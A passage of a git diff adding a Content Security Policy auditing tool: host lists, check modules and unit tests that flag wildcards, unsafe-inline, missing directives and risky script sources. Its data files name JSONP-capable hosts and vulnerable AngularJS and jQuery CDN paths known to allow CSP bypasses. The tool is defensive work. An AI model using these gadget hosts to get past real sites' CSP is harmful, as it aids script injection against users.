+ { + domain: "pancakeswap.finance", + risk: "DeFi exchange - smart contract risks", + severity: "high", + }, + { + domain: "web3.storage", + risk: "Decentralized storage - content integrity issues", + severity: "medium", + }, +]; + +export const JSONP_CAPABLE_HOSTS = [ + "ajax.googleapis.com", + "api.twitter.com", + "graph.facebook.com", + "api.github.com", + "api.linkedin.com", +]; diff --git a/packages/backend/src/data/userContentHosts.ts b/packages/backend/src/data/userContentHosts.ts new file mode 100644 index 0000000..0ec4733 --- /dev/null +++ b/packages/backend/src/data/userContentHosts.ts @@ -0,0 +1,109 @@ +export const USER_CONTENT_HOST_PATTERNS = [ + "*.github.io", + "github.com", + "raw.githubusercontent.com", + "*.s3.amazonaws.com", + "*.cloudfront.com", + "*.herokuapp.com", + "dl.dropboxusercontent.com", + "*.appspot.com", + "*.googleusercontent.com", + "*.blogspot.ae", + "*.blogspot.al", + "*.blogspot.am", + "*.blogspot.ba", + "*.blogspot.be", + "*.blogspot.bg", + "*.blogspot.bj", + "*.blogspot.ca", + "*.blogspot.cf", + "*.blogspot.ch", + "*.blogspot.cl", + "*.blogspot.co.at", + "*.blogspot.co.id", + "*.blogspot.co.il", + "*.blogspot.co.ke", + "*.blogspot.co.nz", + "*.blogspot.co.uk", + "*.blogspot.co.za", + "*.blogspot.com", + "*.blogspot.com.ar", + "*.blogspot.com.au", + "*.blogspot.com.br", + "*.blogspot.com.by", + "*.blogspot.com.co", + "*.blogspot.com.cy", + "*.blogspot.com.ee", + "*.blogspot.com.eg", + "*.blogspot.com.es", + "*.blogspot.com.mt", + "*.blogspot.com.ng", + "*.blogspot.com.tr", + "*.blogspot.com.uy", + "*.blogspot.cv", + "*.blogspot.cz", + "*.blogspot.de", + "*.blogspot.dk", + "*.blogspot.fi", + "*.blogspot.fr", + "*.blogspot.gr", + "*.blogspot.hk", + "*.blogspot.hr", + "*.blogspot.hu", + "*.blogspot.ie", + "*.blogspot.in", + "*.blogspot.is", + "*.blogspot.it", + "*.blogspot.jp", + "*.blogspot.kr", + "*.blogspot.li", + "*.blogspot.lt", + "*.blogspot.lu", + "*.blogspot.md", + "*.blogspot.mk", + "*.blogspot.mr", + "*.blogspot.mx", + "*.blogspot.my", + "*.blogspot.nl", + "*.blogspot.no", + "*.blogspot.pe", + "*.blogspot.pt", + "*.blogspot.qa", + "*.blogspot.re", + "*.blogspot.ro", + "*.blogspot.rs", + "*.blogspot.ru", + "*.blogspot.se", + "*.blogspot.sg", + "*.blogspot.si", + "*.blogspot.sk", + "*.blogspot.sn", + "*.blogspot.td", + "*.blogspot.tw", + "*.blogspot.ug", + "*.blogspot.vn", + "replit.com", + "*.repl.co", + "codesandbox.io", + "*.csb.app", + "stackblitz.com", + "*.stackblitz.io", + "glitch.com", + "*.glitch.me", + "vercel.app", + "*.vercel.app", + "netlify.app", + "*.netlify.app", + "render.com", + "*.onrender.com", + "railway.app", + "*.railway.app", + "webflow.io", + "*.webflow.io", + "bubble.io", + "*.bubble.io", + "notion.so", + "*.notion.so", + "airtable.com", + "*.airtable.com", +]; diff --git a/packages/backend/src/data/vulnerableJsHosts.ts b/packages/backend/src/data/vulnerableJsHosts.ts new file mode 100644 index 0000000..385fa10 --- /dev/null +++ b/packages/backend/src/data/vulnerableJsHosts.ts @@ -0,0 +1,51 @@ +type VulnerableJsHost = { + domain: string; + paths: string[]; + risk: string; + cves?: string[]; +}; + +export const VULNERABLE_JS_HOST_ENTRIES: VulnerableJsHost[] = [ + { + domain: "cdnjs.cloudflare.com", + paths: [ + "/ajax/libs/angular.js/", + "/ajax/libs/lodash/", + "/ajax/libs/moment.js/", + ], + risk: "AngularJS sandbox bypasses, prototype pollution in Lodash", + cves: ["CVE-2023-26116", "CVE-2021-23337"], + }, + { + domain: "code.angularjs.org", + paths: [], + risk: "AngularJS template injection (EOL framework)", + cves: ["CVE-2023-26116", "CVE-2022-25844"], + }, + { + domain: "ajax.googleapis.com", + paths: [ + "/ajax/libs/angularjs/", + "/ajax/libs/yui/", + "/jsapi", + "/ajax/services/feed/find", + ], + risk: "AngularJS and JSONP callback vulnerabilities", + }, + { + domain: "d.yimg.com", + paths: [], + risk: "Yahoo JSONP callback vulnerabilities", + }, + { + domain: "cdn.jsdelivr.net", + paths: [], + risk: "Various vulnerable library versions", + }, + { + domain: "code.jquery.com", + paths: [], + risk: "DOM-based XSS in jQuery versions < 3.5.0", + cves: ["CVE-2020-11022", "CVE-2020-11023"], + }, +]; diff --git a/packages/backend/src/engine/analyzer.ts b/packages/backend/src/engine/analyzer.ts new file mode 100644 index 0000000..1471b90 --- /dev/null +++ b/packages/backend/src/engine/analyzer.ts @@ -0,0 +1,29 @@ +import type { ParsedPolicy, PolicyFinding } from "shared"; + +import { + runBypassChecks, + runCriticalChecks, + runDeprecatedChecks, + runHostSecurityChecks, + runMissingDirectiveChecks, + runModernThreatChecks, + runTrustedTypesChecks, +} from "./checks"; +import { deduplicateAndSort } from "./deduplicator"; + +export function analyzePolicy( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = [ + ...runDeprecatedChecks(policy, enabledChecks), + ...runCriticalChecks(policy, enabledChecks), + ...runBypassChecks(policy, enabledChecks), + ...runModernThreatChecks(policy, enabledChecks), + ...runHostSecurityChecks(policy, enabledChecks), + ...runMissingDirectiveChecks(policy, enabledChecks), + ...runTrustedTypesChecks(policy, enabledChecks), + ]; + + return deduplicateAndSort(findings); +} diff --git a/packages/backend/src/engine/checks/bypass.test.ts b/packages/backend/src/engine/checks/bypass.test.ts new file mode 100644 index 0000000..50ac73c --- /dev/null +++ b/packages/backend/src/engine/checks/bypass.test.ts @@ -0,0 +1,51 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runBypassChecks } from "./bypass"; + +describe("runBypassChecks", () => { + it("detects JSONP-capable host", () => { + const policy = buildPolicy({ "script-src": ["ajax.googleapis.com"] }); + const findings = runBypassChecks(policy); + expect(findings.some((f) => f.checkId === "jsonp-bypass-risk")).toBe(true); + }); + + it("detects multiple JSONP hosts", () => { + const policy = buildPolicy({ + "script-src": ["ajax.googleapis.com", "api.twitter.com"], + }); + const findings = runBypassChecks(policy); + expect( + findings.filter((f) => f.checkId === "jsonp-bypass-risk").length, + ).toBe(2); + }); + + it("detects AngularJS pattern", () => { + const policy = buildPolicy({ + "script-src": [ + "cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js", + ], + }); + const findings = runBypassChecks(policy); + expect(findings.some((f) => f.checkId === "angularjs-bypass")).toBe(true); + }); + + it("ignores angular.min.js", () => { + const policy = buildPolicy({ + "script-src": ["cdnjs.cloudflare.com/ajax/libs/angular.min.js"], + }); + const findings = runBypassChecks(policy); + expect(findings.some((f) => f.checkId === "angularjs-bypass")).toBe(false); + }); + + it("returns empty when no script-src", () => { + const policy = buildPolicy({ "default-src": ["'self'"] }); + const findings = runBypassChecks(policy); + expect(findings).toHaveLength(0); + }); + + it("respects enabledChecks filter", () => { + const policy = buildPolicy({ "script-src": ["ajax.googleapis.com"] }); + const findings = runBypassChecks(policy, { "jsonp-bypass-risk": false }); + expect(findings).toHaveLength(0); + }); +}); diff --git a/packages/backend/src/engine/checks/bypass.ts b/packages/backend/src/engine/checks/bypass.ts new file mode 100644 index 0000000..762a2f3 --- /dev/null +++ b/packages/backend/src/engine/checks/bypass.ts @@ -0,0 +1,48 @@ +import type { ParsedPolicy, PolicyFinding } from "shared"; + +import { JSONP_CAPABLE_HOSTS } from "../../data"; +import { stripDomainPrefix } from "../../utils"; +import { emitFinding, isCheckEnabled } from "../../utils/findings"; + +export function runBypassChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + const scriptSrc = policy.directives.get("script-src"); + if (scriptSrc === undefined) return findings; + + for (const value of scriptSrc.values) { + if (isCheckEnabled("jsonp-bypass-risk", enabledChecks)) { + const normalized = stripDomainPrefix(value); + for (const host of JSONP_CAPABLE_HOSTS) { + if (normalized === host || normalized.endsWith(`.${host}`)) { + findings.push( + emitFinding( + "jsonp-bypass-risk", + "script-src", + value, + policy.requestId, + `Host ${host} supports JSONP callbacks that can bypass CSP`, + ), + ); + } + } + } + + if (isCheckEnabled("angularjs-bypass", enabledChecks)) { + if (value.includes("angular") && !value.includes("angular.min.js")) { + findings.push( + emitFinding( + "angularjs-bypass", + "script-src", + value, + policy.requestId, + ), + ); + } + } + } + + return findings; +} diff --git a/packages/backend/src/engine/checks/critical.test.ts b/packages/backend/src/engine/checks/critical.test.ts new file mode 100644 index 0000000..69a4ba5 --- /dev/null +++ b/packages/backend/src/engine/checks/critical.test.ts @@ -0,0 +1,78 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runCriticalChecks } from "./critical"; + +describe("runCriticalChecks", () => { + it("detects wildcard in script-src", () => { + const policy = buildPolicy({ "script-src": ["*"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "script-wildcard")).toBe(true); + }); + + it("detects unsafe-inline in script-src", () => { + const policy = buildPolicy({ "script-src": ["'unsafe-inline'"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "script-unsafe-inline")).toBe( + true, + ); + }); + + it("detects unsafe-eval in script-src", () => { + const policy = buildPolicy({ "script-src": ["'unsafe-eval'"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "script-unsafe-eval")).toBe(true); + }); + + it("detects data: URI in script-src", () => { + const policy = buildPolicy({ "script-src": ["data:"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "script-data-uri")).toBe(true); + }); + + it("detects wildcard in object-src", () => { + const policy = buildPolicy({ "object-src": ["*"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "object-wildcard")).toBe(true); + }); + + it("detects wildcard in style-src", () => { + const policy = buildPolicy({ "style-src": ["*"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "style-wildcard")).toBe(true); + }); + + it("detects unsafe-inline in style-src", () => { + const policy = buildPolicy({ "style-src": ["'unsafe-inline'"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "style-unsafe-inline")).toBe( + true, + ); + }); + + it("returns empty for secure policy", () => { + const policy = buildPolicy({ + "script-src": ["'self'"], + "style-src": ["'self'"], + "object-src": ["'none'"], + }); + const findings = runCriticalChecks(policy); + expect(findings).toHaveLength(0); + }); + + it("respects enabledChecks filter", () => { + const policy = buildPolicy({ "script-src": ["*", "'unsafe-inline'"] }); + const findings = runCriticalChecks(policy, { "script-wildcard": false }); + expect(findings.some((f) => f.checkId === "script-wildcard")).toBe(false); + expect(findings.some((f) => f.checkId === "script-unsafe-inline")).toBe( + true, + ); + }); + + it("checks script-src-elem directive", () => { + const policy = buildPolicy({ "script-src-elem": ["'unsafe-inline'"] }); + const findings = runCriticalChecks(policy); + expect(findings.some((f) => f.checkId === "script-unsafe-inline")).toBe( + true, + ); + }); +}); diff --git a/packages/backend/src/engine/checks/critical.ts b/packages/backend/src/engine/checks/critical.ts new file mode 100644 index 0000000..69a7f39 --- /dev/null +++ b/packages/backend/src/engine/checks/critical.ts @@ -0,0 +1,126 @@ +import type { ParsedPolicy, PolicyDirective, PolicyFinding } from "shared"; + +import { emitFinding, isCheckEnabled } from "../../utils/findings"; +import { + hasUnsafeInline, + hasWildcard, + isScriptRelatedDirective, + isStyleRelatedDirective, +} from "../parser"; + +type ValueCheck = { + match: string; + checkId: + | "script-wildcard" + | "script-unsafe-inline" + | "script-unsafe-eval" + | "script-data-uri"; +}; + +const SCRIPT_VALUE_CHECKS: ValueCheck[] = [ + { match: "*", checkId: "script-wildcard" }, + { match: "'unsafe-inline'", checkId: "script-unsafe-inline" }, + { match: "'unsafe-eval'", checkId: "script-unsafe-eval" }, + { match: "data:", checkId: "script-data-uri" }, +]; + +export function runCriticalChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + for (const [, directive] of policy.directives) { + if (isScriptRelatedDirective(directive.name)) { + findings.push( + ...checkScriptValues(policy.requestId, directive, enabledChecks), + ); + } + + if (isStyleRelatedDirective(directive.name)) { + findings.push( + ...checkStyleValues(policy.requestId, directive, enabledChecks), + ); + } + + if (directive.name === "object-src") { + for (const value of directive.values) { + if ( + (value === "*" || value === "data:") && + isCheckEnabled("object-wildcard", enabledChecks) + ) { + findings.push( + emitFinding( + "object-wildcard", + directive.name, + value, + policy.requestId, + ), + ); + } + } + } + } + + return findings; +} + +function checkScriptValues( + requestId: string, + directive: PolicyDirective, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + for (const value of directive.values) { + for (const check of SCRIPT_VALUE_CHECKS) { + if ( + value === check.match && + isCheckEnabled(check.checkId, enabledChecks) + ) { + findings.push( + emitFinding(check.checkId, directive.name, value, requestId), + ); + } + } + } + + return findings; +} + +function checkStyleValues( + requestId: string, + directive: PolicyDirective, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + if ( + hasWildcard(directive) && + isCheckEnabled("style-wildcard", enabledChecks) + ) { + const wildcardValues = directive.sources + .filter((s) => s.isWildcard) + .map((s) => s.value) + .join(", "); + findings.push( + emitFinding("style-wildcard", directive.name, wildcardValues, requestId), + ); + } + + if ( + hasUnsafeInline(directive) && + isCheckEnabled("style-unsafe-inline", enabledChecks) + ) { + findings.push( + emitFinding( + "style-unsafe-inline", + directive.name, + "'unsafe-inline'", + requestId, + ), + ); + } + + return findings; +} diff --git a/packages/backend/src/engine/checks/deprecated.test.ts b/packages/backend/src/engine/checks/deprecated.test.ts new file mode 100644 index 0000000..94a669a --- /dev/null +++ b/packages/backend/src/engine/checks/deprecated.test.ts @@ -0,0 +1,33 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runDeprecatedChecks } from "./deprecated"; + +describe("runDeprecatedChecks", () => { + it("detects x-content-security-policy header", () => { + const policy = buildPolicy( + { "default-src": ["'self'"] }, + { headerName: "x-content-security-policy" }, + ); + const findings = runDeprecatedChecks(policy); + expect(findings).toHaveLength(1); + expect(findings[0]!.checkId).toBe("deprecated-header"); + }); + + it("detects x-webkit-csp header", () => { + const policy = buildPolicy( + { "default-src": ["'self'"] }, + { headerName: "x-webkit-csp" }, + ); + const findings = runDeprecatedChecks(policy); + expect(findings).toHaveLength(1); + }); + + it("returns empty for standard CSP header", () => { + const policy = buildPolicy( + { "default-src": ["'self'"] }, + { headerName: "content-security-policy" }, + ); + const findings = runDeprecatedChecks(policy); + expect(findings).toHaveLength(0); + }); +}); diff --git a/packages/backend/src/engine/checks/deprecated.ts b/packages/backend/src/engine/checks/deprecated.ts new file mode 100644 index 0000000..9084490 --- /dev/null +++ b/packages/backend/src/engine/checks/deprecated.ts @@ -0,0 +1,31 @@ +import type { ParsedPolicy, PolicyFinding } from "shared"; + +import { emitFinding, isCheckEnabled } from "../../utils/findings"; + +const STANDARD_HEADER_NAMES = [ + "content-security-policy", + "content-security-policy-report-only", +]; + +export function runDeprecatedChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + if (!isCheckEnabled("deprecated-header", enabledChecks)) return []; + + if ( + policy.isDeprecated || + !STANDARD_HEADER_NAMES.includes(policy.headerName.toLowerCase()) + ) { + return [ + emitFinding( + "deprecated-header", + policy.headerName, + policy.headerName, + policy.requestId, + ), + ]; + } + + return []; +} diff --git a/packages/backend/src/engine/checks/hostSecurity.test.ts b/packages/backend/src/engine/checks/hostSecurity.test.ts new file mode 100644 index 0000000..3c075b3 --- /dev/null +++ b/packages/backend/src/engine/checks/hostSecurity.test.ts @@ -0,0 +1,52 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runHostSecurityChecks } from "./hostSecurity"; + +describe("runHostSecurityChecks", () => { + it("detects user content host", () => { + const policy = buildPolicy({ "script-src": ["test.github.io"] }); + const findings = runHostSecurityChecks(policy); + expect(findings.some((f) => f.checkId === "user-content-host")).toBe(true); + }); + + it("detects vulnerable JS host without path", () => { + const policy = buildPolicy({ "script-src": ["cdn.jsdelivr.net"] }); + const findings = runHostSecurityChecks(policy); + expect(findings.some((f) => f.checkId === "vulnerable-js-host")).toBe(true); + }); + + it("detects wildcard in non-script directive", () => { + const policy = buildPolicy({ "img-src": ["*"] }); + const findings = runHostSecurityChecks(policy); + expect(findings.some((f) => f.checkId === "wildcard-limited")).toBe(true); + }); + + it("skips wildcard detection for script directives", () => { + const policy = buildPolicy({ "script-src": ["*"] }); + const findings = runHostSecurityChecks(policy); + expect(findings.some((f) => f.checkId === "wildcard-limited")).toBe(false); + }); + + it("skips wildcard detection for style directives", () => { + const policy = buildPolicy({ "style-src": ["*"] }); + const findings = runHostSecurityChecks(policy); + expect(findings.some((f) => f.checkId === "wildcard-limited")).toBe(false); + }); + + it("returns empty for clean policy", () => { + const policy = buildPolicy({ + "script-src": ["'self'"], + "img-src": ["'self'"], + }); + const findings = runHostSecurityChecks(policy); + expect(findings).toHaveLength(0); + }); + + it("respects enabledChecks filter", () => { + const policy = buildPolicy({ "script-src": ["test.github.io"] }); + const findings = runHostSecurityChecks(policy, { + "user-content-host": false, + }); + expect(findings.some((f) => f.checkId === "user-content-host")).toBe(false); + }); +}); diff --git a/packages/backend/src/engine/checks/hostSecurity.ts b/packages/backend/src/engine/checks/hostSecurity.ts new file mode 100644 index 0000000..678b70b --- /dev/null +++ b/packages/backend/src/engine/checks/hostSecurity.ts @@ -0,0 +1,70 @@ +import type { ParsedPolicy, PolicyFinding } from "shared"; + +import { + isUserContentHost, + isVulnerableJsHost, + stripDomainPrefix, +} from "../../utils"; +import { emitFinding, isCheckEnabled } from "../../utils/findings"; +import { + getHostSources, + hasWildcard, + isScriptRelatedDirective, + isStyleRelatedDirective, +} from "../parser"; + +export function runHostSecurityChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + for (const [, directive] of policy.directives) { + for (const source of getHostSources(directive)) { + const domain = stripDomainPrefix(source.value); + + if ( + isCheckEnabled("user-content-host", enabledChecks) && + isUserContentHost(domain) + ) { + findings.push( + emitFinding( + "user-content-host", + directive.name, + source.value, + policy.requestId, + ), + ); + } + + const vulnResult = isVulnerableJsHost(domain); + if ( + isCheckEnabled("vulnerable-js-host", enabledChecks) && + vulnResult.isVulnerable + ) { + findings.push( + emitFinding( + "vulnerable-js-host", + directive.name, + source.value, + policy.requestId, + vulnResult.risk, + ), + ); + } + } + + if ( + isCheckEnabled("wildcard-limited", enabledChecks) && + hasWildcard(directive) && + !isScriptRelatedDirective(directive.name) && + !isStyleRelatedDirective(directive.name) + ) { + findings.push( + emitFinding("wildcard-limited", directive.name, "*", policy.requestId), + ); + } + } + + return findings; +} diff --git a/packages/backend/src/engine/checks/index.ts b/packages/backend/src/engine/checks/index.ts new file mode 100644 index 0000000..1d55ee2 --- /dev/null +++ b/packages/backend/src/engine/checks/index.ts @@ -0,0 +1,7 @@ +export { runCriticalChecks } from "./critical"; +export { runBypassChecks } from "./bypass"; +export { runModernThreatChecks } from "./modernThreats"; +export { runHostSecurityChecks } from "./hostSecurity"; +export { runMissingDirectiveChecks } from "./missingDirectives"; +export { runTrustedTypesChecks } from "./trustedTypes"; +export { runDeprecatedChecks } from "./deprecated"; diff --git a/packages/backend/src/engine/checks/missingDirectives.test.ts b/packages/backend/src/engine/checks/missingDirectives.test.ts new file mode 100644 index 0000000..e921e8c --- /dev/null +++ b/packages/backend/src/engine/checks/missingDirectives.test.ts @@ -0,0 +1,45 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runMissingDirectiveChecks } from "./missingDirectives"; + +describe("runMissingDirectiveChecks", () => { + it("detects missing script-src", () => { + const policy = buildPolicy({ "style-src": ["'self'"] }); + const findings = runMissingDirectiveChecks(policy); + expect(findings.some((f) => f.directive === "script-src")).toBe(true); + }); + + it("detects missing object-src and frame-ancestors", () => { + const policy = buildPolicy({ "script-src": ["'self'"] }); + const findings = runMissingDirectiveChecks(policy); + expect(findings.some((f) => f.directive === "object-src")).toBe(true); + expect(findings.some((f) => f.directive === "frame-ancestors")).toBe(true); + }); + + it("detects permissive base-uri with wildcard", () => { + const policy = buildPolicy({ "base-uri": ["*"] }); + const findings = runMissingDirectiveChecks(policy); + expect(findings.some((f) => f.checkId === "permissive-base-uri")).toBe( + true, + ); + }); + + it("detects missing base-uri", () => { + const policy = buildPolicy({ "script-src": ["'self'"] }); + const findings = runMissingDirectiveChecks(policy); + expect(findings.some((f) => f.checkId === "permissive-base-uri")).toBe( + true, + ); + }); + + it("returns empty when all essential directives present", () => { + const policy = buildPolicy({ + "script-src": ["'self'"], + "object-src": ["'none'"], + "frame-ancestors": ["'self'"], + "base-uri": ["'self'"], + }); + const findings = runMissingDirectiveChecks(policy); + expect(findings).toHaveLength(0); + }); +}); diff --git a/packages/backend/src/engine/checks/missingDirectives.ts b/packages/backend/src/engine/checks/missingDirectives.ts new file mode 100644 index 0000000..bcf6974 --- /dev/null +++ b/packages/backend/src/engine/checks/missingDirectives.ts @@ -0,0 +1,48 @@ +import type { ParsedPolicy, PolicyFinding } from "shared"; + +import { emitFinding, isCheckEnabled } from "../../utils/findings"; + +const ESSENTIAL_DIRECTIVES = ["script-src", "object-src", "frame-ancestors"]; + +export function runMissingDirectiveChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + if (isCheckEnabled("missing-essential-directive", enabledChecks)) { + for (const name of ESSENTIAL_DIRECTIVES) { + if (!policy.directives.has(name)) { + findings.push( + emitFinding( + "missing-essential-directive", + name, + "missing", + policy.requestId, + `Critical security directive ${name} not defined`, + ), + ); + } + } + } + + if (isCheckEnabled("permissive-base-uri", enabledChecks)) { + const baseUri = policy.directives.get("base-uri"); + if ( + baseUri === undefined || + baseUri.values.some((v) => v.includes("*")) || + baseUri.values.includes("'unsafe-inline'") + ) { + findings.push( + emitFinding( + "permissive-base-uri", + "base-uri", + baseUri?.values.join(" ") ?? "missing", + policy.requestId, + ), + ); + } + } + + return findings; +} diff --git a/packages/backend/src/engine/checks/modernThreats.test.ts b/packages/backend/src/engine/checks/modernThreats.test.ts new file mode 100644 index 0000000..6e519a3 --- /dev/null +++ b/packages/backend/src/engine/checks/modernThreats.test.ts @@ -0,0 +1,53 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runModernThreatChecks } from "./modernThreats"; + +describe("runModernThreatChecks", () => { + it("detects AI/ML host", () => { + const policy = buildPolicy({ "connect-src": ["api.openai.com"] }); + const findings = runModernThreatChecks(policy); + expect(findings.some((f) => f.checkId === "ai-ml-host")).toBe(true); + }); + + it("detects Web3 host", () => { + const policy = buildPolicy({ "script-src": ["metamask.io"] }); + const findings = runModernThreatChecks(policy); + expect(findings.some((f) => f.checkId === "web3-host")).toBe(true); + }); + + it("detects CDN supply chain host", () => { + const policy = buildPolicy({ "script-src": ["polyfill.io"] }); + const findings = runModernThreatChecks(policy); + expect(findings.some((f) => f.checkId === "cdn-supply-chain")).toBe(true); + }); + + it("checks all directives not just script-src", () => { + const policy = buildPolicy({ + "connect-src": ["huggingface.co"], + "img-src": ["'self'"], + }); + const findings = runModernThreatChecks(policy); + expect( + findings.some( + (f) => f.checkId === "ai-ml-host" && f.directive === "connect-src", + ), + ).toBe(true); + }); + + it("returns empty for clean policy", () => { + const policy = buildPolicy({ + "script-src": ["'self'"], + "connect-src": ["'self'"], + }); + const findings = runModernThreatChecks(policy); + expect(findings).toHaveLength(0); + }); + + it("respects enabledChecks filter", () => { + const policy = buildPolicy({ "script-src": ["polyfill.io"] }); + const findings = runModernThreatChecks(policy, { + "cdn-supply-chain": false, + }); + expect(findings).toHaveLength(0); + }); +}); diff --git a/packages/backend/src/engine/checks/modernThreats.ts b/packages/backend/src/engine/checks/modernThreats.ts new file mode 100644 index 0000000..b2dbf50 --- /dev/null +++ b/packages/backend/src/engine/checks/modernThreats.ts @@ -0,0 +1,56 @@ +import type { CheckId, ParsedPolicy, PolicyFinding } from "shared"; + +import { AI_ML_HOSTS, WEB3_HOSTS } from "../../data"; +import { stripDomainPrefix } from "../../utils"; +import { emitFinding, isCheckEnabled } from "../../utils/findings"; + +const CDN_RISK_HOSTS = [ + "polyfill.io", + "cdn.jsdelivr.net", + "unpkg.com", + "cdnjs.cloudflare.com", + "cdn.skypack.dev", +]; + +type HostCheckConfig = { + hosts: string[]; + checkId: CheckId; +}; + +const HOST_CHECKS: HostCheckConfig[] = [ + { hosts: AI_ML_HOSTS.map((h) => h.domain), checkId: "ai-ml-host" }, + { hosts: WEB3_HOSTS.map((h) => h.domain), checkId: "web3-host" }, + { hosts: CDN_RISK_HOSTS, checkId: "cdn-supply-chain" }, +]; + +export function runModernThreatChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + for (const config of HOST_CHECKS) { + if (!isCheckEnabled(config.checkId, enabledChecks)) continue; + + for (const [, directive] of policy.directives) { + for (const value of directive.values) { + const normalized = stripDomainPrefix(value); + for (const host of config.hosts) { + if (normalized === host || normalized.endsWith(`.${host}`)) { + findings.push( + emitFinding( + config.checkId, + directive.name, + value, + policy.requestId, + `${host} integration detected`, + ), + ); + } + } + } + } + } + + return findings; +} diff --git a/packages/backend/src/engine/checks/trustedTypes.test.ts b/packages/backend/src/engine/checks/trustedTypes.test.ts new file mode 100644 index 0000000..0d09ac1 --- /dev/null +++ b/packages/backend/src/engine/checks/trustedTypes.test.ts @@ -0,0 +1,54 @@ +import { buildPolicy } from "../policyBuilder"; + +import { runTrustedTypesChecks } from "./trustedTypes"; + +describe("runTrustedTypesChecks", () => { + it("detects missing trusted-types", () => { + const policy = buildPolicy({ "script-src": ["'self'"] }); + const findings = runTrustedTypesChecks(policy); + expect(findings.some((f) => f.checkId === "missing-trusted-types")).toBe( + true, + ); + }); + + it("detects missing require-trusted-types-for", () => { + const policy = buildPolicy({ "script-src": ["'self'"] }); + const findings = runTrustedTypesChecks(policy); + expect( + findings.some((f) => f.checkId === "missing-require-trusted-types"), + ).toBe(true); + }); + + it("detects nonce + unsafe-inline conflict", () => { + const policy = buildPolicy({ + "script-src": ["'nonce-abc123'", "'unsafe-inline'"], + }); + const findings = runTrustedTypesChecks(policy); + expect( + findings.some((f) => f.checkId === "nonce-unsafe-inline-conflict"), + ).toBe(true); + }); + + it("does not flag trusted-types when directives are configured", () => { + const policy = buildPolicy({ + "trusted-types": ["default"], + "require-trusted-types-for": ["'script'"], + "script-src": ["'self'"], + }); + const findings = runTrustedTypesChecks(policy); + expect(findings.some((f) => f.checkId === "missing-trusted-types")).toBe( + false, + ); + expect( + findings.some((f) => f.checkId === "missing-require-trusted-types"), + ).toBe(false); + }); + + it("does not flag nonce conflict when unsafe-inline is absent", () => { + const policy = buildPolicy({ "script-src": ["'nonce-abc123'"] }); + const findings = runTrustedTypesChecks(policy); + expect( + findings.some((f) => f.checkId === "nonce-unsafe-inline-conflict"), + ).toBe(false); + }); +}); diff --git a/packages/backend/src/engine/checks/trustedTypes.ts b/packages/backend/src/engine/checks/trustedTypes.ts new file mode 100644 index 0000000..9158d6e --- /dev/null +++ b/packages/backend/src/engine/checks/trustedTypes.ts @@ -0,0 +1,59 @@ +import type { ParsedPolicy, PolicyFinding } from "shared"; + +import { emitFinding, isCheckEnabled } from "../../utils/findings"; + +export function runTrustedTypesChecks( + policy: ParsedPolicy, + enabledChecks?: Record<string, boolean>, +): PolicyFinding[] { + const findings: PolicyFinding[] = []; + + if ( + isCheckEnabled("missing-trusted-types", enabledChecks) && + !policy.directives.has("trusted-types") + ) { + findings.push( + emitFinding( + "missing-trusted-types", + "trusted-types", + "missing", + policy.requestId, + ), + ); + } + + if ( + isCheckEnabled("missing-require-trusted-types", enabledChecks) && + !policy.directives.has("require-trusted-types-for") + ) { + findings.push( + emitFinding( + "missing-require-trusted-types", + "require-trusted-types-for", + "missing", + policy.requestId, + ), + ); + } + + if (isCheckEnabled("nonce-unsafe-inline-conflict", enabledChecks)) { + const scriptSrc = policy.directives.get("script-src"); + if (scriptSrc !== undefined) { + const hasNonce = scriptSrc.values.some((v) => v.startsWith("'nonce-")); + const hasInline = scriptSrc.values.includes("'unsafe-inline'"); + + if (hasNonce && hasInline) { + findings.push( + emitFinding( + "nonce-unsafe-inline-conflict", + "script-src", + "'unsafe-inline'", + policy.requestId, + ), + ); + } + } + } + + return findings; +} diff --git a/packages/backend/src/engine/deduplicator.test.ts b/packages/backend/src/engine/deduplicator.test.ts new file mode 100644 index 0000000..6a48267 --- /dev/null +++ b/packages/backend/src/engine/deduplicator.test.ts @@ -0,0 +1,63 @@ +import type { PolicyFinding } from "shared"; + +import { deduplicateAndSort } from "./deduplicator"; + +function fakeFinding(overrides: Partial<PolicyFinding>): PolicyFinding { + return { + id: "f-1", + checkId: "script-wildcard", + severity: "high", + directive: "script-src", + value: "*", + description: "test", + remediation: "fix it", + requestId: "req-1", + ...overrides, + }; +} + +describe("deduplicateAndSort", () => { + it("removes duplicate findings with same checkId+directive+value", () => { + const findings = [fakeFinding({ id: "f-1" }), fakeFinding({ id: "f-2" })]; + const result = deduplicateAndSort(findings); + expect(result).toHaveLength(1); + }); + + it("preserves findings with different keys", () => { + const findings = [ + fakeFinding({ + checkId: "script-wildcard", + directive: "script-src", + value: "*", + }), + fakeFinding({ + checkId: "script-unsafe-inline", + directive: "script-src", + value: "'unsafe-inline'", + }), + ]; + const result = deduplicateAndSort(findings); + expect(result).toHaveLength(2); + 